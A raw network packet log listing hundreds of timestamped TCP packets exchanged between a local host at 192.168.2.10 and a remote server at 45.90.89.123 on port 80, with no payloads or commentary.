Oct 2, 2024 05:29:28.323898077 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323909044 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323925018 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323940992 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323951006 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323962927 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323973894 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323986053 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.323998928 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324039936 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.324039936 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.324039936 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.324039936 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.324204922 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324217081 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324227095 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324238062 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324246883 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.324249029 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324259996 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.324260950 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324331045 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.324472904 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324482918 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324493885 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324505091 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324515104 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324526072 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324528933 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.324528933 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.324537039 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324547052 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324559927 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324570894 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324572086 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.324572086 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.324583054 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324592113 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.324593067 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324603081 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324629068 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.324676991 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.324793100 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324805021 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324815035 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324826002 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324836969 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324847937 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324858904 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324871063 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324937105 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324947119 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.324949980 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.324949980 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.324949980 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.324949980 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.325004101 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.325077057 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.325120926 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.325133085 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.325161934 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.325222969 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.325234890 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.325246096 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.325257063 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.325268030 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.325289965 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.325289965 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.325309992 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.325372934 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.325383902 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.325395107 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.325406075 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.325417995 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.325428963 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.325438023 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.325438023 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.325520992 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.367322922 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.367361069 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.367377996 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.367394924 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.367407084 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.367418051 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.367428064 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.367430925 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.367450953 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.367463112 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.367463112 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.367470026 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.367487907 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.367520094 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.367520094 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.367527008 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.367537975 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.367551088 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.367618084 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.367621899 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.367634058 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.367705107 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.367784977 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.367795944 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.367808104 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.367839098 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.367839098 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.368035078 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.368046045 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.368057966 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.368068933 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.368079901 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.368091106 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.368102074 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.368113041 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.368132114 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.368134975 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.368134975 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.368134975 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.368144035 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.368155956 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.368184090 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.368184090 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.368231058 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.368242025 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.368252039 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.368263960 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.368274927 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.368320942 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.368328094 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.368328094 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.368328094 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.368331909 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.368400097 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.409828901 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.409856081 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.409868002 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.409878969 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.409893036 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.409903049 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.409919977 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.409930944 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.409943104 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.409966946 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.409971952 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.409981966 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.409992933 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410005093 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410039902 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.410054922 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.410062075 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410074949 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410125017 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410135984 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410147905 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.410147905 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410181999 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.410181999 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.410218000 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410228968 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410248995 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410329103 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.410335064 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410345078 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410351038 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410367012 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410378933 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410387993 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410429955 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410442114 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410456896 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410464048 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.410464048 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.410464048 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.410500050 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.410536051 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410547972 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410558939 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410569906 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410579920 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410623074 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.410660028 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.410665989 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410676003 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410695076 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410706043 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410717010 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410729885 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410742044 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410747051 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.410747051 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.410754919 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410767078 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.410785913 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.410923004 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410933971 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410944939 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410955906 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410968065 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410973072 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.410980940 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.410995007 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.411030054 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.411061049 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.411072969 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.411083937 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.411096096 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.411107063 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.411118984 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.411153078 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.411153078 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.411153078 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.411343098 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.411354065 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.411365986 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.411376953 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.411381006 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.411392927 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.411410093 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.411412001 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.411422968 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.411433935 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.411437988 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.411446095 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.411458015 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.411470890 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.411478996 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.411531925 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.411560059 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.411560059 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.411856890 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.411890984 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.411900997 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.411919117 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.411999941 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.412009954 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.412022114 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.412030935 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.412033081 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.412045956 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.412111044 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.412122965 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.412126064 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.412126064 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.412133932 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.412158966 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.412164927 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.412177086 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.412183046 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.412206888 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.412206888 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.412229061 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.412287951 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.454566956 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454591990 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454605103 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454621077 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454632998 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454644918 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454657078 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454667091 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454678059 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454687119 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454698086 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454709053 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454727888 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.454767942 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454777956 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454790115 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454809904 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454824924 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454838991 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454850912 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454859972 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.454859972 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454859972 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.454859972 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.454859972 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.454921007 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454931021 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454941034 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454952002 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454961061 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454961061 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.454961061 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.454961061 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.454972029 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.454982996 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.455012083 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.455012083 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.455039024 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.455049038 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.455060005 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.455087900 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.455096960 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.455110073 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.455121040 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.455137968 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.455182076 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.455288887 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.455301046 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.455312014 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.455323935 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.455334902 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.455346107 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.455348015 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.455358982 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.455369949 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.455393076 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.455404997 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.455404997 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.455404997 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.455405951 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.455523968 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.496680975 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.496694088 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.496700048 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.496711969 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.496716976 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.496728897 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.496735096 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.496740103 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.496784925 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.496851921 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.496866941 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.496879101 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.496886969 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.496890068 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.496902943 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.496948004 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.496948004 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.496982098 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.496998072 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.497009039 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.497020960 CEST	80	49707	45.90.89.123	192.168.2.10
